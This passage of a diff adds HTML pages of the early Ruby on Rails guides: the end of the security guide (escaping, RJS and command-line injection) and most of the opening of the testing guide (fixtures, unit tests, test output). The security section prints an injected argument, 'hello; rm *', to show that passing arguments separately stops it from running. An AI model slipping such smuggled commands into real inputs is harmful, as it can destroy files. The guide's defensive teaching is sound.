+<div class="para"><p>If you use the <a href="http://dev.rubyonrails.org/browser/plugins/in_place_editing">in_place_editor plugin</a>, or actions that return a string, rather than rendering a view, <span style="background-color: #fffcdb;">you have to escape the return value in the action</span>. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.</p></div>
+<h3 id="_rjs_injection">8.7. RJS Injection</h3>
+<div class="para"><p>— <em>Don't forget to escape in JavaScript (RJS) templates, too.</em></p></div>
+<div class="para"><p>The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. <span style="background-color: #fffcdb;">If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h()</span>. Otherwise an attacker could execute arbitrary JavaScript.</p></div>
+<h3 id="_command_line_injection">8.8. Command Line Injection</h3>
+<div class="para"><p>— <em>Use user-supplied command line parameters with caution.</em></p></div>
+<div class="para"><p>If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).</p></div>
+<div class="para"><p>A countermeasure is to <span style="background-color: #fffcdb;">use the <tt>system(command, parameters)</tt> method which passes command line parameters safely</span>.</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>system("/bin/echo","hello; rm *")
+# prints "hello; rm *" and does not delete files</tt></pre>
+</div></div>
+</div>
+<h2 id="_additional_resources">9. Additional resources</h2>
+<div class="sectionbody">
+<div class="para"><p>The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The Ruby on Rails security project posts security news regularly: <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a>
+</p>
+</li>
+<li>
+<p>
+Subscribe to the Rails security <a href="http://groups.google.com/group/rubyonrails-security">mailing list</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://secunia.com/">Keep up to date on the other application layers</a> (they have a weekly newsletter, too)
+</p>
+</li>
+<li>
+<p>
+A <a href="http://ha.ckers.org/blog/">good security blog</a> including the <a href="http://ha.ckers.org/xss.html">Cross-Site scripting Cheat Sheet</a>
+</p>
+</li>
+<li>
+<p>
+Another <a href="http://www.0x000000.com/">good security blog</a> with some Cheat Sheets, too
+</p>
+</li>
+</ul></div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/testing_rails_applications.html b/railties/doc/guides/html/testing_rails_applications.html new file mode 100644 index 0000000000..b2e0b1bbc1 --- /dev/null +++ b/railties/doc/guides/html/testing_rails_applications.html @@ -0,0 +1,1751 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>A Guide to Testing Rails Applications</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_why_write_tests_for_your_rails_applications">Why Write Tests for your Rails Applications?</a> + </li> + <li> + <a href="#_before_you_start_writing_tests">Before you Start Writing Tests</a> + <ul> + + <li><a href="#_the_3_environments">The 3 Environments</a></li> + + <li><a href="#_rails_sets_up_for_testing_from_the_word_go">Rails Sets up for Testing from the Word Go</a></li> + + <li><a href="#_the_low_down_on_fixtures">The Low-Down on Fixtures</a></li> + + </ul> + </li> + <li> + <a href="#_unit_testing_your_models">Unit Testing Your Models</a> + <ul> + + <li><a href="#_running_tests">Running Tests</a></li> + + <li><a href="#_what_to_include_in_your_unit_tests">What to Include in Your Unit Tests</a></li> + + <li><a href="#_assertions_available">Assertions Available</a></li> + + <li><a href="#_rails_specific_assertions">Rails Specific Assertions</a></li> + + </ul> + </li> + <li> + <a href="#_functional_tests_for_your_controllers">Functional Tests for Your Controllers</a> + <ul> + + <li><a href="#_what_to_include_in_your_functional_tests">What to include in your Functional Tests</a></li> + + <li><a href="#_available_request_types_for_functional_tests">Available Request Types for Functional Tests===</a></li> + + <li><a href="#_the_4_hashes_of_the_apocalypse">The 4 Hashes of the Apocalypse</a></li> + + <li><a href="#_instance_variables_available">Instance Variables Available</a></li> + + <li><a href="#_a_fuller_functional_test_example">A Fuller Functional Test Example</a></li> + + <li><a href="#_testing_views">Testing Views</a></li> + + </ul> + </li> + <li> + <a href="#_integration_testing">Integration Testing</a> + <ul> + + <li><a href="#_helpers_available_for_integration_tests">Helpers Available for Integration tests</a></li> + + <li><a href="#_integration_testing_examples">Integration Testing Examples</a></li> + + </ul> + </li> + <li> + <a href="#_testing_your_mailers">Testing Your Mailers</a> + <ul> + + <li><a href="#_keeping_the_postman_in_check">Keeping the Postman in Check</a></li> + + <li><a href="#_unit_testing">Unit Testing</a></li> + + <li><a href="#_functional_testing">Functional Testing</a></li> + + </ul> + </li> + <li> + <a href="#_rake_tasks_for_testing">Rake Tasks for Testing</a> + </li> + <li> + <a href="#_other_testing_approaches">Other Testing Approaches</a> + </li> + <li> + <a href="#_changelog">Changelog</a> + </li> + </ol> + </div> + + <div id="content"> + <h1>A Guide to Testing Rails Applications</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Understand Rails testing terminology
+</p>
+</li>
+<li>
+<p>
+Write unit, functional and integration tests for your application
+</p>
+</li>
+<li>
+<p>
+Identify other popular testing approaches and plugins
+</p>
+</li>
+</ul></div>
+<div class="para"><p>This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.</p></div>
+</div>
+</div>
+<h2 id="_why_write_tests_for_your_rails_applications">1. Why Write Tests for your Rails Applications?</h2>
+<div class="sectionbody">
+<div class="ilist"><ul>
+<li>
+<p>
+Because Ruby code that you write in your Rails application is interpreted, you may only find that it's broken when you actually run your application server and use it through the browser. Writing tests is a clean way of running through your code in advance and catching syntactical and logic errors.
+</p>
+</li>
+<li>
+<p>
+Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+</p>
+</li>
+<li>
+<p>
+By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
+</p>
+</li>
+<li>
+<p>
+Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_before_you_start_writing_tests">2. Before you Start Writing Tests</h2>
+<div class="sectionbody">
+<div class="para"><p>Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.</p></div>
+<h3 id="_the_3_environments">2.1. The 3 Environments</h3>
+<div class="para"><p>Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. One of the consequences of this design decision is that every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.</p></div>
+<div class="para"><p>One place you'll find this distinction is in the <tt>config/database.yml</tt> file. This YAML configuration file has 3 different sections defining 3 unique database setups:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+production
+</p>
+</li>
+<li>
+<p>
+development
+</p>
+</li>
+<li>
+<p>
+test
+</p>
+</li>
+</ul></div>
+<div class="para"><p>This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.</p></div>
+<div class="para"><p>For example, suppose you need to test your new <tt>delete_this_user_and_every_everything_associated_with_it</tt> function. Wouldn't you want to run this in an environment where it makes no difference if you destroy data or not?</p></div>
+<div class="para"><p>When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running <tt>rake db:test:prepare</tt>.</p></div>
+<h3 id="_rails_sets_up_for_testing_from_the_word_go">2.2. Rails Sets up for Testing from the Word Go</h3>
+<div class="para"><p>Rails creates a <tt>test</tt> folder for you as soon as you create a Rails project using <tt>rails <em>application_name</em></tt>. If you list the contents of this folder then you shall see:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ ls -F <span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">/</span>
+
+fixtures<span style="color: #990000">/</span> functional<span style="color: #990000">/</span> integration<span style="color: #990000">/</span> test_helper<span style="color: #990000">.</span>rb unit<span style="color: #990000">/</span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>unit</tt> folder is meant to hold tests for your models, the <tt>functional</tt> folder is meant to hold tests for your controllers, and the <tt>integration</tt> folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the <tt>fixtures</tt> folder. The <tt>test_helper.rb</tt> file holds the default configuration for your tests.</p></div>
+<h3 id="_the_low_down_on_fixtures">2.3. The Low-Down on Fixtures</h3>
+<div class="para"><p>For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.</p></div>
+<h4 id="_what_are_fixtures">2.3.1. What Are Fixtures?</h4>
+<div class="para"><p><em>Fixtures</em> is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: <strong>YAML</strong> or <strong>CSV</strong>.</p></div>
+<div class="para"><p>You'll find fixtures under your <tt>test/fixtures</tt> directory. When you run <tt>script/generate model</tt> to create a new model, fixture stubs will be automatically created and placed in this directory.</p></div>
+<h4 id="_yaml_the_camel_is_a_mammal_with_enamel">2.3.2. YAML the Camel is a Mammal with Enamel</h4>
+<div class="para"><p>YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the <strong>.yml</strong> file extension (as in <tt>users.yml</tt>).</p></div>
+<div class="para"><p>Here's a sample YAML fixture file:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># low & behold! I am a YAML comment!</span></span>
+david<span style="color: #990000">:</span>
+ id<span style="color: #990000">:</span> <span style="color: #993399">1</span>
+ name<span style="color: #990000">:</span> David Heinemeier Hansson
+ birthday<span style="color: #990000">:</span> <span style="color: #993399">1979</span><span style="color: #990000">-</span><span style="color: #993399">10</span><span style="color: #990000">-</span><span style="color: #993399">15</span>
+ profession<span style="color: #990000">:</span> Systems development
+
+steve<span style="color: #990000">:</span>
+ id<span style="color: #990000">:</span> <span style="color: #993399">2</span>
+ name<span style="color: #990000">:</span> Steve Ross Kellock
+ birthday<span style="color: #990000">:</span> <span style="color: #993399">1974</span><span style="color: #990000">-</span><span style="color: #993399">09</span><span style="color: #990000">-</span><span style="color: #993399">27</span>
+ profession<span style="color: #990000">:</span> guy with keyboard
+</tt></pre></div></div>
+<div class="para"><p>Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.</p></div>
+<h4 id="_comma_seperated">2.3.3. Comma Seperated</h4>
+<div class="para"><p>Fixtures can also be described using the all-too-familiar comma-separated value (CSV) file format. These files, just like YAML fixtures, are placed in the <em>test/fixtures</em> directory, but these end with the <tt>.csv</tt> file extension (as in <tt>celebrity_holiday_figures.csv</tt>).</p></div>
+<div class="para"><p>A CSV fixture looks like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>id, username, password, stretchable, comments
+1, sclaus, ihatekids, false, I like to say ""Ho! Ho! Ho!""
+2, ebunny, ihateeggs, true, Hoppity hop y'all
+3, tfairy, ilovecavities, true, "Pull your teeth, I will"
+</tt></pre></div></div>
+<div class="para"><p>The first line is the header. It is a comma-separated list of fields. The rest of the file is the payload: 1 record per line. A few notes about this format:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Leading and trailing spaces are trimmed from each value when it is imported
+</p>
+</li>
+<li>
+<p>
+If you use a comma as data, the cell must be encased in quotes
+</p>
+</li>
+<li>
+<p>
+If you use a quote as data, you must escape it with a 2nd quote
+</p>
+</li>
+<li>
+<p>
+Don't use blank lines
+</p>
+</li>
+<li>
+<p>
+Nulls can be defined by including no data between a pair of commas
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Unlike the YAML format where you give each record in a fixture a name, CSV fixture names are automatically generated. They follow a pattern of "model-name-counter". In the above example, you would have:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>celebrity-holiday-figures-1</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>celebrity-holiday-figures-2</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>celebrity-holiday-figures-3</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>The CSV format is great to use if you have existing data in a spreadsheet or database and you are able to save it (or export it) as a CSV.</p></div>
+<h4 id="_erb_in_it_up">2.3.4. ERb'in It Up</h4>
+<div class="para"><p>ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.</p></div>
+<div class="para"><p>I'll demonstrate with a YAML file:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><% earth_size = 20 -%></span>
+mercury<span style="color: #990000">:</span>
+ id<span style="color: #990000">:</span> <span style="color: #993399">1</span>
+ size<span style="color: #990000">:</span> <span style="color: #FF0000"><%= earth_size / 50 %></span>
+
+venus<span style="color: #990000">:</span>
+ id<span style="color: #990000">:</span> <span style="color: #993399">2</span>
+ size<span style="color: #990000">:</span> <span style="color: #FF0000"><%= earth_size / 2 %></span>
+
+mars<span style="color: #990000">:</span>
+ id<span style="color: #990000">:</span> <span style="color: #993399">3</span>
+ size<span style="color: #990000">:</span> <span style="color: #FF0000"><%= earth_size - 69 %></span>
+</tt></pre></div></div>
+<div class="para"><p>Anything encased within the</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><% %></span>
+</tt></pre></div></div>
+<div class="para"><p>tag is considered Ruby code. When this fixture is loaded, the <tt>size</tt> attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively.</p></div>
+<h4 id="_fixtures_in_action">2.3.5. Fixtures in Action</h4>
+<div class="para"><p>Rails by default automatically loads all fixtures from the <em>test/fixtures</em> folder for your unit and functional test. Loading involves three steps:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Remove any existing data from the table corresponding to the fixture
+</p>
+</li>
+<li>
+<p>
+Load the fixture data into the table
+</p>
+</li>
+<li>
+<p>
+Dump the fixture data into a variable in case you want to access it directly
+</p>
+</li>
+</ul></div>
+<h4 id="_hashes_with_special_powers">2.3.6. Hashes with Special Powers</h4>
+<div class="para"><p>Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># this will return the Hash for the fixture named david</span></span>
+users<span style="color: #990000">(:</span>david<span style="color: #990000">)</span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># this will return the property for david called id</span></span>
+users<span style="color: #990000">(:</span>david<span style="color: #990000">).</span>id
+</tt></pre></div></div>
+<div class="para"><p>But, by there's another side to fixtures… at night, if the moon is full and the wind completely still, fixtures can also transform themselves into the form of the original class!</p></div>
+<div class="para"><p>Now you can get at the methods only available to that class.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># using the find method, we grab the "real" david as a User</span></span>
+david <span style="color: #990000">=</span> users<span style="color: #990000">(:</span>david<span style="color: #990000">).</span>find
+
+<span style="font-style: italic"><span style="color: #9A1900"># and now we have access to methods only available to a User class</span></span>
+email<span style="color: #990000">(</span>david<span style="color: #990000">.</span>girlfriend<span style="color: #990000">.</span>email<span style="color: #990000">,</span> david<span style="color: #990000">.</span>location_tonight<span style="color: #990000">)</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_unit_testing_your_models">3. Unit Testing Your Models</h2>
+<div class="sectionbody">
+<div class="para"><p>In Rails, unit tests are what you write to test your models.</p></div>
+<div class="para"><p>When you create a model using <tt>script/generate</tt>, among other things it creates a test stub in the <tt>test/unit</tt> folder, as well as a fixture for the model:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/generate model Post
+...
+create app/models/post.rb
+create test/unit/post_test.rb
+create test/fixtures/posts.yml
+...
+</tt></pre></div></div>
+<div class="para"><p>The default test stub in <tt>test/unit/post_test.rb</tt> looks like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostTest <span style="color: #990000"><</span> ActiveSupport<span style="color: #990000">::</span>TestCase
+ <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
+ assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>A line by line examination of this file will help get you oriented to Rails testing code and terminology.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+</tt></pre></div></div>
+<div class="para"><p>As you know by now that <tt>test_helper.rb</tt> specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostTest <span style="color: #990000"><</span> ActiveSupport<span style="color: #990000">::</span>TestCase
+</tt></pre></div></div>
+<div class="para"><p>The <tt>PostTest</tt> class defines a <em>test case</em> because it inherits from <tt>ActiveSupport::TestCase</tt>. <tt>PostTest</tt> thus has all the methods available from <tt>ActiveSupport::TestCase</tt>. You'll see those methods a little later in this guide.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
+</tt></pre></div></div>
+<div class="para"><p>Any method defined within a test case that begins with <tt>test</tt> (case sensitive) is simply called a test. So, <tt>test_password</tt>, <tt>test_valid_password</tt> and <tt>testValidPassword</tt> all are legal test names and are run automatically when the test case is run.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This line of code is called an <em>assertion</em>. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+is this value = that value?
+</p>
+</li>
+<li>
+<p>
+is this object nil?
+</p>
+</li>
+<li>
+<p>
+does this line of code throw an exception?
+</p>
+</li>
+<li>
+<p>
+is the user's password greater than 5 characters?
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Every test contains one or more assertions. Only when all the assertions are successful the test passes.</p></div>
+<h3 id="_running_tests">3.1. Running Tests</h3>
+<div class="para"><p>Running a test is as simple as invoking the file containing the test cases through Ruby:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ cd <span style="font-weight: bold"><span style="color: #0000FF">test</span></span>
+$ ruby unit/post_test<span style="color: #990000">.</span>rb
+
+Loaded suite unit/post_test
+Started
+<span style="color: #990000">.</span>
+Finished <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #993399">0.023513</span> seconds<span style="color: #990000">.</span>
+
+<span style="color: #993399">1</span> tests<span style="color: #990000">,</span> <span style="color: #993399">1</span> assertions<span style="color: #990000">,</span> <span style="color: #993399">0</span> failures<span style="color: #990000">,</span> <span style="color: #993399">0</span> errors
+</tt></pre></div></div>
+<div class="para"><p>This will run all the test methods from the test case.</p></div>
+<div class="para"><p>You can also run a particular test method from the test case by using the <tt>-n</tt> switch with the <tt>test method name</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ ruby unit/post_test.rb -n test_truth
+
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.023513 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors
+</tt></pre></div></div>
+<div class="para"><p>The <tt>.</tt> (dot) above indicates a passing test. When a test fails you see an <tt>F</tt>; when a test throws an error you see an <tt>E</tt> in its place. The last line of the output is the summary.</p></div>
+<div class="para"><p>To see how a test failure is reported, you can add a failing test to the <tt>post_test.rb</tt> test case:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_have_atleast_one_post
+ post <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">)</span>
+ assert_not_nil post
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you haven't added any data to the test fixture for posts, this test will fail. You can see this by running it:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ ruby unit/post_test.rb
+Loaded suite unit/post_test
+Started
+F.
+Finished in 0.027274 seconds.
+
+ 1) Failure:
+test_should_have_atleast_one_post(PostTest)
+ [unit/post_test.rb:12:in `test_should_have_atleast_one_post'
+ /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+ /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
+<nil> expected to not be nil.
+
+2 tests, 2 assertions, 1 failures, 0 errors
+</tt></pre></div></div>
+<div class="para"><p>In the output, <tt>F</tt> denotes a failure. You can see the corresponding trace shown under <tt>1)</tt> along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_have_atleast_one_post
+ post <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">)</span>
+ assert_not_nil post<span style="color: #990000">,</span> <span style="color: #FF0000">"Should not be nil as Posts table should have atleast one post"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Running this test shows the friendlier assertion message:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ ruby unit/post_test.rb
+Loaded suite unit/post_test
+Started
+F.
+Finished in 0.024727 seconds.
+
+ 1) Failure:
+test_should_have_atleast_one_post(PostTest)
+ [unit/post_test.rb:11:in `test_should_have_atleast_one_post'
+ /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+ /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
+Should not be nil as Posts table should have atleast one post.
+<nil> expected to not be nil.
+
+2 tests, 2 assertions, 1 failures, 0 errors
+</tt></pre></div></div>
+<div class="para"><p>To see how an error gets reported, here's a test containing an error:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_report_error
+ <span style="font-style: italic"><span style="color: #9A1900"># some_undefined_variable is not defined elsewhere in the test case</span></span>
+ some_undefined_variable
+ assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now you can see even more output in the console from running the tests:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
